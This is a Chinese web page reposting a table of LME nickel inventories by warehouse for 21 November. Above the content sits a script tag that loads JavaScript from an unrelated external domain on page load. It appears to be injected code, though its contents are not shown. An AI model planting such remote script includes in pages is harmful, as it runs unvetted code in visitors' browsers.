<script src="//img.dlwjdh.com/upload/saohei/index.js"></script>
以下为11月21日LME镍库存在全球主要仓库的分布变动情况:(单位:吨)
----------------------------------------------------------------------------
地点?? 前日库存 入库 出库? 今日库存 变动? 注册仓单 注销仓单 注销占比
镍 49512 0 42 49470 -42 43440 6030 12.19%
鹿特丹 18840 0 24 18816 -24 16854 1962 10.43%
新加坡 12276 0 0 12276 0 9852 2424 19.75%
柔佛 8816 0 0 8816 0 7722 594 7.14%
高雄 4494 0 18 4476 -18 4302 174 3.89%
釜山 1692 0 0 1692 0 1380 312 18.44%
巴生 1596 0 0 1596 0 1596 0 0.00%
迪拜 1200 0 0 1200 0 1140 60 5.00%
弗利辛恩894 0 0 894 0 516 378 42.28%
利物浦 126 0 0 126 0 0 126 100.00%
光阳 66 0 0 66 0 66 0 0.00%
热那亚 6 0 0 6 0 6 0 0.00%
巴尔的摩6 0 0 6 0 6 0 0.00%
--------------------------------------------------------------------------
本文转载自长江有色金属网,内容均来自于互联网,不代表本站观点,内容版权归属原作者及站点所有,如有对您造成影响,请及时联系我们予以删除!